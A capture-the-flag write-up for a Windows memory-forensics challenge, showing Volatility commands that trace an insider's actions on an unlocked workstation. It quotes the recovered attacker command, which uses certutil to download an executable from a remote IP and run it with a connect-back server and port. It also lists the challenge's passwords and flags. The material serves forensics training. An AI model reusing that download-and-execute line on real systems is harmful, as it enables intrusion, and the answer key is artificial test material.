2HWAمنتخب القهوة

Silent Access

Forensicsbeginner-friendly

Mahmoud left his workstation unlocked during a short break. While he was away, an insider accessed the machine and performed unauthorized activity. When he returned, he noticed unusual windows and processes running. A memory dump was captured for investigation. Analyze the dump and determine what happened.

بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ

Challenge Overview

Silent Access is a Windows Memory Forensics challenge created by MAb0EL3TA (Mahmoud Mostafa) for the EYCC CTF 2026 Grand Finals.

The main goal of this challenge is to introduce participants to Volatility 2 & 3 and help them understand how different plugins can be utilized to extract actionable forensic evidence and artifacts from a memory dump.

[!TIP] A helpful reference for memory analysis plugins: Volatility Cheat Sheet


1. Process & Initial Execution Analysis

Q1: What is the PID of the suspicious process observed on the victim’s machine?

We begin by listing active processes from the captured memory image using the Volatility 3 windows.pslist plugin:

python3 vol.py -f ../Windows\ 7\ x64-a8761f34.vmem windows.pslist

Looking through the process listing reveals a process named Patchupdater.exe (PID: 3052) spawned from cmd.exe (PID: 2968). Both processes were created at approximately the same timestamp, which is highly suspicious.

  • Answer: 3052

Q2: What is the full command typed by the insider to download that malicious executable?

To extract the command-line arguments executed on the target, we use the windows.cmdline plugin:

python3 vol.py -f ../Windows\ 7\ x64-a8761f34.vmem windows.cmdline | grep -i "2968"

2968    cmd.exe    "C:\Windows\system32\cmd.exe" /k "cd /d C:\Windows\Temp & certutil -urlcache -f http://192.168.6.133:8888/PatchUpdater.exe PatchUpdater.exe & .\PatchUpdater.exe --server 192.168.6.133 --port 8080"

The command switches directory to C:\Windows\Temp, abuses certutil.exe to pull PatchUpdater.exe from http://192.168.6.133:8888/PatchUpdater.exe, and executes the binary connecting back to port 8080.

  • Answer: cd /d C:\Windows\Temp & certutil -urlcache -f http://192.168.6.133:8888/PatchUpdater.exe PatchUpdater.exe & .\PatchUpdater.exe --server 192.168.6.133 --port 8080

Q3: What legitimate Windows utility was abused to download the suspicious executable?

From the extracted command line above, the utility used for stage download is certutil.exe.

  • Answer: certutil.exe

2. File Artifacts & Credential Recovery

Q4: Mahmoud had an important archive that he protected by a special password. This password is left somewhere on his desktop. Can you get this password?

Since the question mentions that a password was left somewhere on the user’s Desktop, we search for file objects referencing the Desktop using windows.filescan:

python3 vol.py -f ../Windows\ 7\ x64-a8761f34.vmem windows.filescan | grep -i "desktop"

We locate:

  1. \Users\Mahmoud\Desktop\CREDS.txt
  2. \Users\Mahmoud\Desktop\IMP-Financial Records.7z

Using the physical address found from windows.filescan, we dump the cached file contents using windows.dumpfiles --physaddr:

Inspecting the dumped file reveals the password:

0mK3LALAW3LdT
  • Answer: 0mK3LALAW3LdT

Q5: What is the important data Mahmoud was trying to hide inside that archive?

We search for IMP-Financial Records.7z in memory and dump its contents:

python3 vol.py -f ../Windows\ 7\ x64-a8761f34.vmem -o ../dumped windows.dumpfiles --physaddr 0x7e1bc070

[!NOTE] Volatility outputs both .dat and .vacb files. We focus on the .dat file as it represents data recovered from the file’s DataSectionObject (the archive stream itself), whereas .vacb comes from the SharedCacheMap (Cache Manager).

Unpacking the recovered .dat file as a 7-Zip archive using the password 0mK3LALAW3LdT:

  • Answer: EYCC{Y0U_Sh0uLD_M4sTeR_C3RviNG}

3. Volatility 2 Clipboard Artifacts

To demonstrate the combined usage of Volatility 2 and Volatility 3, the challenge features an additional clipboard recovery step:

  1. Determine the memory profile with Volatility 2 imageinfo (Win7SP1x64).
  2. Run the clipboard plugin to recover text copied into memory during the session:

  • Clipboard Flag: EYCC{M3me0Ry_F0r3nSicS_M3tteR}

Final Flag

Combining the solver steps and verifying the answers:

EYCC{M3m0ry_Alw4ys_G0t_H1dd3n_S3cr3ts_X9K4Q7}

Other challenges from EYCC CTF 2026